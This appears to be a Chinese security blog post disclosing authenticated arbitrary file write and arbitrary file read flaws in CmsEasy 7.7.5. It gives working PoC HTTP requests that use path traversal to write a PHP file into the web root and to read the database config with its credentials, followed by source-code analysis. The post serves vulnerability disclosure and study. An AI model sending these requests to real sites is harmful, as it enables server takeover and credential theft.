CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞

CmsEasy_7.7.5_20211012存在任意文件写入漏洞和任意文件读取漏洞

厂商官网

cmseasy

安装包下载

https://www.cmseasy.cn/download/

cmseasy

https://ftp.cmseasy.cn/CmsEasy7.x/CmsEasy_7.7.5_UTF-8_20211012.zip

任意文件写入漏洞getshell

后台漏洞,需登录。

任意文件写入漏洞poc

1
2
3
4
5
6
7
8
9
10
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>

.._d_ 代表 ../,此处用来路径穿越


发送漏洞利用的poc数据包,响应内容是ok时,代表网站根目录下被写入了1.php文件。

任意文件写入


访问http://192.168.31.96/1.php (或者是http://localhost/1.php),此时发现phpinfo被成功执行。

任意文件写入

任意文件写入漏洞代码分析

出现此漏洞的文件是lib/admin/template_admin.php

任意文件写入

post方法传入sid=#data_d_.._d_.._d_.._d_1.php,经过一轮的正则替换,最后tpl=data/../../../1.php

post方法传入scontent=<?php phpinfo();?>,先通过编码实例化,再通过正则替换将单引号转义,此时content=<?php phpinfo();?>,这里的正则处理是对XSS漏洞的处理,对写入的php代码不生效。

site=default时,代码执行到最外层else(第2789行),此过程中,content值不变,通过file_put_contents造成了任意文件写入漏洞。

任意文件读取漏洞

后台漏洞,需登录。

任意文件读取漏洞poc

1
2
3
4
5
6
7
8
9
10
POST /index.php?case=template&act=fetch&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close
Content-Length: 32

id=#data_d_.._d_.._d_.._d_config_d_config_database.php

.._d_ 代表 ../,此处用来路径穿越

发送漏洞利用的poc数据包

响应内容是cmseasy网站配置文件config/config_database.php的文件内容信息。

该响应信息中包含了数据库连接地址账号以及密码。

任意文件写入

任意文件读取漏洞代码分析

出现此漏洞的文件是lib/admin/template_admin.php

任意文件写入

post方法传入id=#data_d_.._d_.._d_.._d_config_d_config_database.php

通过一系列的正则替换tpl=data/../../../config/config_database.php

最后通过第2757行file_get_contents函数读取到了配置文件信息。

Author: jdr
Link: https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.